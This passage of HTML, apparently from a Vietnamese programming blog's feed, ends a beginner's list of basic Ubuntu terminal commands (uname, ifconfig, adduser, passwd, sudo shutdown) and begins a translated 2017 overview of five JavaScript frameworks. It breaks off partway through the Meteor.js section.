người</li> <li><code>-g</code>: hiển thị đơn vị dạng GB</li> <li><code>-m</code>: hiển thị đơn vị dạng MB</li> </ul> <h4 id="top" style="position:relative;"><a href="#top" aria-label="top permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>top</h4> <p>Hiển thị thông tin về hệ thống Linux của bạn, các tiến trình đang chạy và tài nguyên hệ thống, bao gồm: CPU, RAM, phân vùng Swap, và tổng số các tác vụ đang chạy.</p> <p><code>uname -a</code></p> <p>Hiển thị toàn bộ thông tin về tên máy tính, tên nhân kernel kèm theo số phiên bản và một vài chi tiết khác.</p> <h4 id="lsb_release--a" style="position:relative;"><a href="#lsb_release--a" aria-label="lsb_release a permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>lsb_release -a</h4> <p>Hiển thị phiên bản linux đang dùng.</p> <h4 id="ifconfig" style="position:relative;"><a href="#ifconfig" aria-label="ifconfig permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ifconfig</h4> <p>Hiển thị danh sách các thiết bị mạng trên máy tính. Qua đó, bạn có thể biết được địa chỉ IP hiện tại của máy.</p> <h4 id="adduser" style="position:relative;"><a href="#adduser" aria-label="adduser permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>adduser</h4> <p>Dùng để thêm một user mới cho máy: <code>adduser &#x3C;tên user mới></code></p> <h4 id="passwd" style="position:relative;"><a href="#passwd" aria-label="passwd permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>passwd</h4> <p>Dùng để thêm password cho người dùng mới: <code>passwd &#x3C;tên user mới></code></p> <h4 id="sudo" style="position:relative;"><a href="#sudo" aria-label="sudo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>sudo</h4> <p>Nhiều câu lệnh trong Terminal cần phải có <strong>sudo</strong> phía trước. Khi dùng sudo, máy tính hiểu rằng bạn đang thực thi câu lệnh với quyền cao nhất, đó là quyền root.</p> <p>Để thực thi được câu lệnh này, bạn bắt buộc phải nhập mật khẩu. Một số lệnh bắt buộc phải dùng sudo như:</p> <ul> <li><code>sudo shutdown -h now</code>: tắt máy tính ngay lập tức</li> <li><code>sudo reboot</code>: khởi động lại máy tính</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số câu lệnh cơ bản trong Ubuntu - Linux mà mình thấy đơn giản, hiệu quả và hay được sử dụng. Dù bạn lập trình <a href="/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/">JavaScript</a> hay một ngôn ngữ lập trình khác, hoặc thậm chí bạn chỉ sử dụng Ubuntu như là một hệ điều hành thay thế <a href="/cac-cau-lenh-thuong-dung-tren-cmd-windows/">Windows</a> thì những câu lệnh trên luôn vô cùng hữu ích.</p> <p>Bài viết này sẽ dừng lại tại đây. Xin chào và hẹn gặp lại bạn ở bài viết sau, thân ái!</p>[email protected]<![CDATA[Top 5 Framework JavaScript mới nhất cho phát triển web và app]]><![CDATA[Bài viết được dịch từ website Technotification của tác giả Vicky Singh Rao về top 5 Framework JavaScript mới nhất cho phát triển web và app. Những năm gần đây, sự phổ biến của…]]>https://completejavascript.com/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/https://completejavascript.com/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/<![CDATA[Dịch blog]]>Tue, 15 Aug 2017 13:21:36 GMT<p>Bài viết được dịch từ website <a href="https://www.technotification.com/2017/06/best-modern-javascript-frameworks.html">Technotification</a> của tác giả <a href="https://www.technotification.com/author/vicky">Vicky Singh Rao</a> về top 5 Framework JavaScript mới nhất cho phát triển web và app.</p> <p>Những năm gần đây, sự phổ biến của <a href="/javascript/">JavaScript</a> đã được gia tăng rất nhiều. Có một bằng chứng để chứng tỏ sự thay đổi đó. Vào đầu năm nay, IBM đã công nhận JavaScript là một trong <a href="/nhung-ngon-ngu-lap-trinh-nen-hoc-nam-2017/">những ngôn ngữ lập trình tốt nhất</a> của năm.</p> <p>Họ lập luận rằng bí mật sự thành công của một chương trình là nằm ở cả hai phía client và server được thiết kế tốt và cũng như trang web được tuỳ biến hợp lý. Và có nhiều ưu điểm khi sử dụng các Framework JavaScript là an toàn, hiệu quả cao, chi phí giữa các lợi thế khác.</p> <p>Vào năm 2017, có một vài Framework JavaScript đã được hoàn thành. Do đó, ở bài viết này, mình sẽ giới thiệu tóm tắt với bạn về chúng.</p> <h2 id="angularjs" style="position:relative;"><a href="#angularjs" aria-label="angularjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>AngularJS</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 250px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,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'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="AngularJS" title="AngularJS" src="/static/cc388eacdd35dbb3e26975feab1d5109/86700/angulerJS-top-5-framework-javascript-completejavascript.com_.png" srcset="/static/cc388eacdd35dbb3e26975feab1d5109/103f2/angulerJS-top-5-framework-javascript-completejavascript.com_.png 165w, /static/cc388eacdd35dbb3e26975feab1d5109/86700/angulerJS-top-5-framework-javascript-completejavascript.com_.png 250w" sizes="(max-width: 250px) 100vw, 250px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>AngularJS được biết đến là một Framework JavaScript kiểu Model-View Whatever (MVW). Kể từ khi framework này ra đời, nó đã trải qua một số sự thay đổi quan trọng. Hiện tại, sẽ là hợp lý nếu chúng ta gọi đây là một trong những framework hay sử dụng nhất dành cho phát triển ứng dụng kiểu trang web đơn.</p> <p>Ngoài ra, Framework JavaScript này cũng được hỗ trợ từ một cộng đồng lớn nhất các lập trình viên. Và có hai loại AngularJS, bạn có thể tìm hiểu thêm về chúng.</p> <h2 id="reactjs" style="position:relative;"><a href="#reactjs" aria-label="reactjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ReactJS</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 250px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6klEQVQ4y3VUe2iOYRQ/72VXo0kTJZHrf4s0d5bcR4apbeY7j7GZXfwhm2sk9+WSKXfNH8rWkBgWCsktamuN7z1y2R9YVsga+56jHD3vx/o+8dbped639/zO+Z3f73nAjomFyDDPyKVF1nkRKPwoUPRJIKPuoZNeVWMXtgkUvBf/n35j0y2zdue64YgCsxwXUku3WNtFIOdpexJ6OheDodEr3wmsahdAT09DTy+aV/fA/igCw7MLwHJjohuKfIlL7gMzq2/YpiskLkXSZYq4HImLFPFaJF6NxBuROMsUWdjQ4jjxif8GjO2V7FOZWd1gbxMfcF1pp0B+q4AivoXEZ5a//gnLWjr7mmKGetbd167JMblRgE5cgg82/dRVuywkUKZ9wINIugSJqxXxWUV8AYn3I/EmE6bDnSIwcfcp2+T+od4txLSjF+3irwKBF99HIPEOJD6hiG/7+2BonB/ER393exiJt+Y1d6SsF4G0zQftKMDB87KtRhFYcu9tHBIfWdr4uXfGhYcuEt/EYGiUevmjUxE3G4EUccOKVoFAMJSKxPtWfxGYsPO4bcfGgfVH5YEzMv0uJTy7rejpWYFg1zBFfAM9nYZmJT6Jnk5XxPWB599SkBiRuMyoP/vc7TBgJOXxO45Z5SKQ/eh9ApJWiviyIr6uiOvQC01FT2co4mu/v9UY+5gGTAxdrKwoyk58WJQJu05aJAJm4EhcgcHQFCQ24PWK+Ap6ejaSXmBslP9WIPNakzMiZ1WUwbs3bmKSDzq58qxdFaa+OftxW0LBB9829Uh8evkbM7uuIcZSpmjWnVeOyYn0YpQp3cQeMKfmnmOOHHo6E4krkXgveqEx6OnpSLwHiQ+gpyeZQgvqm/zZ/fekmDkkDRjkU9gjYQvlPmtPNAUK2gTymjuSAy+6Bpd0CozZUGl1+8+NBHRjfbkjL4eElP7WyLxia40WOCQCc2vvO/MvPXEqRKC4QyC9qtYHi+nRE/6+XH4BKJ6mM7CbvusAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="ReactJS" title="ReactJS" src="/static/6887eb2e02ada6186531c1709dbcaee5/86700/React-JS-top-5-framework-javascript-completejavascript.com_.png" srcset="/static/6887eb2e02ada6186531c1709dbcaee5/103f2/React-JS-top-5-framework-javascript-completejavascript.com_.png 165w, /static/6887eb2e02ada6186531c1709dbcaee5/86700/React-JS-top-5-framework-javascript-completejavascript.com_.png 250w" sizes="(max-width: 250px) 100vw, 250px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Framework JavaScript này dựa trên thư viện nhiều hơn. Nó thường cho thấy hiệu quả cao ở những chương trình động - nhiều tương tác như Facebooks và Instagram.</p> <p>Đây cũng là một trong những framework phát triển mạnh trên thị trường hiện nay. Người ta ước tính là có khoảng 1000 thành viên tích cực tham gia vào nó. Nếu so sánh với AngularJS thì ReactJS chính xác hơn và cung cấp hiệu suất cao hơn vì nó sử dụng <a href="/co-ban-ve-dom-javascript/">DOM</a> ảo.</p> <h2 id="vuejs" style="position:relative;"><a href="#vuejs" aria-label="vuejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vue.js</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 250px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADaUlEQVQ4y22TTWwTRxTHZ5NI3JAqcatEL9zKgXSXxEoTz4tNQRsqEGpEBY4XWks0EFQBkVpoS5J9u+GjlxYQUouokHqIREEC1vFOPhyCBDdQj+XGucdyQG3jeKZ6M7NO7HIY2R7P/t7vzfsv4wsR06sassLv37PcyXH2gXuYuYUSc+Eo89UdNnT7AhvAM85O9pHeo/96d37CBsIzbPj5VcbnQ8NYjBkDgT9xgXVYiOZ5imlfqZJ6e8bmPb+84vnB9ZtKsdy5U07v+6Osb/SzrZ5fnvNGgkW3UKrlTo6nUI9TLrDKBT4BgSEBvwSBiqeoYCVWH16dVG6xpLyRQHl+WXkfB5+6+aOMlrc/mNJ7tPaV1eDP5xXUY/PsQqRAoK9VQeATLvTmP7AUNforJxpusfSvgQavhuuXnN0Hj7/n+eU3tOcWSmu5yYkGrM42eIp/62cF3iYWAwMcpAo8RQkrsRz65RtJBp5fbmib/cEFbyS4Zc0auw8eU/l7UxKW46YV+QsEbicW4wK7reUdbqANaj13bkK6hZK0rRNYWjs1EJ2VsDprzppWz1uxHgYpdtkfVOG1rrgcN/O/TUnvwDEykubeAuXuGZN9RyqK17TVum31DxC4BRYjYjkMkhnGU+yxll9DZrk6qwbwrHSH9YCk5wfSLY6pwRtfSXg8K3mK69bukBXq5ncvMsqfA7XQGV6Oma4k8KW9l3U+H6q+IxXp7h1TBOv/YpzuTXGBDWsndP4EdgFlsRoyBtXQ4cmM7t9WGrWW62RCRlmMhn79VkI9ljYmTRDYa5/p4o9miGWBZEmfKXbZ1ims2oRy1v/5CZmbPJ0NYs22+qO164aH0xqmgTyxMLJMsdtW3NW69OVY5ucuyvz9aQVLUdO2+icI3GbPktAGkGBgoKyj9Wu6dYFrsBQpWIyMsbE7lcWE35tqwSAxQAOtmkul0dvD27SJgZJZNtUXBx5Ms8rrWwxq6MAmu/8BNfRhm+WEBdJUmxa4txUTOwjoaLkNqFcNnX3PrrBiDenBF/oNMrC7rUF0gNqANJjNF6sri9aAimAG8QYE7mjFJOmwSzJgEmaDaT9AQRWtGNVA4A/Wrgfe0qoukMzoN4XxzXeYbDogWgN6FwS+o7+n7THpFNkwbDtkDZ5e3oBmmZv77q2gbMr/AdlcwgvF7F6YAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Vue.js" title="Vue.js" src="/static/14fe223c6f2688e67a0970cc441648c3/86700/Vue.js-top-5-framework-javascript-completejavascript.com_.png" srcset="/static/14fe223c6f2688e67a0970cc441648c3/103f2/Vue.js-top-5-framework-javascript-completejavascript.com_.png 165w, /static/14fe223c6f2688e67a0970cc441648c3/86700/Vue.js-top-5-framework-javascript-completejavascript.com_.png 250w" sizes="(max-width: 250px) 100vw, 250px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong năm 2016, chúng mình đã trải nghiệm phiên bản Vue 2.0. Phiên bản này tốt hơn so với Ember, AngularJS và ReactJS (tính đến thời điểm hiện tại). Thêm nữa, chúng mình thấy rằng người học sẽ học Vue.js nhanh hơn so với các Framework JavaScript khác.</p> <p>Vue.js đã nâng cấp sâu hơn bằng cách cung cấp 2 cách binding dữ liệu và một cải tiến tuyệt vời khác. Điều này được xem như là tốt nhất cho sự phát triển nhanh hơn. Còn nhiều thông tin về Vue.js mà bạn có thể tự tìm hiểu thêm trên Internet.</p> <h2 id="emberjs" style="position:relative;"><a href="#emberjs" aria-label="emberjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ember.js</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 250px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbklEQVQ4y4WSSUwTYRTH/x30qgfPGk/GmxfPHjzohSiGKAcXLiaaeBFcOJCQIFtNjECqaQsGUgV3RCGiVZaKSIXWdmRn6BZKp3YYGLrMdDoz8JkODYkmpe/yS17yft/L/3vAfyWHfUiwfqSiQUgRP5bdnxF0D2D8fTPSUb9BYQMGeckNadoBbZ1DwSL8CmQ1CY5fgicd2e4RgpM5KqwPcoiGGvRA41YKCzdjy/ogIYrOnJA6uM39GdZ3NBX0Qg7S0FYjhYXKMqOzZx+QdA3aJ9ur5vvqS+be1Zz2BAcsYeKjPxFnH6SXDQY1EigsVP+EUXaumCovK8Urq6m202IiTRWXSGv1VdL1+D4Z6n1z7W27GT0dliJVTBYWymkB0dA0JQphpBPs7ZEvH4j5ZnHmwZ1ypdvcSL62VZ4ae9GA0dcPi7bExO4y0f0D4qIrlyEBUQRvivOTyR6zSvd3KrxvkvAzIzWM8ylmHR2UEmKQXprLL0w5R3RyH21UrM+GREa4GN8IkM3QtKY5+tVYwEk4epgjhBzOPqiJcUqa9e6y4a9xcMYqiq+rRPy5tWTVZmIi1nqyZjUSoctMol0thG1v2pK+D11IPWvDus1EyQFmF6HHCfbGeSp66wqEbks133pvY625dopvqfWvd7S4+caqBeFJ83Dc3ntm1WIE13TXkJ3JW8nB/p38ItdL9fvL3eGe4LEDWRb5APAWIxaP7MVEdgnXWH5hwt67IwyXnTDsfA4hiJ09rpMGDPyjBoo5BIxmc//pyC/UNA3ilAvSHA2JmYU444E4/1tn4psdKe+E3l+puIxoXSU0RUEmk/lH8heaY6Lxpe44LgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ember.js" title="Ember.js" src="/static/d2481513ef20892d730c8c01d82969e5/86700/ember-js-top-5-framework-javascript-completejavascript.com_.png" srcset="/static/d2481513ef20892d730c8c01d82969e5/103f2/ember-js-top-5-framework-javascript-completejavascript.com_.png 165w, /static/d2481513ef20892d730c8c01d82969e5/86700/ember-js-top-5-framework-javascript-completejavascript.com_.png 250w" sizes="(max-width: 250px) 100vw, 250px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Vào những năm đầu của thế kỉ 21, Ember được cho là một Framework JavaScript tốt nhất cho tất cả các ứng dụng web. Tuy nhiên, framework này vẫn không thay đổi. Ngày nay, Ember.js được xem là sự thúc đẩy cho cộng đồng online, với sự cập nhật thường xuyên và thông qua đó, JavaScript được coi là đúng.</p> <h2 id="meteorjs" style="position:relative;"><a href="#meteorjs" aria-label="meteorjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Meteor.js</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 250px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.7878787878788%; position: relative; bottom: 0; left: 0; background-image: 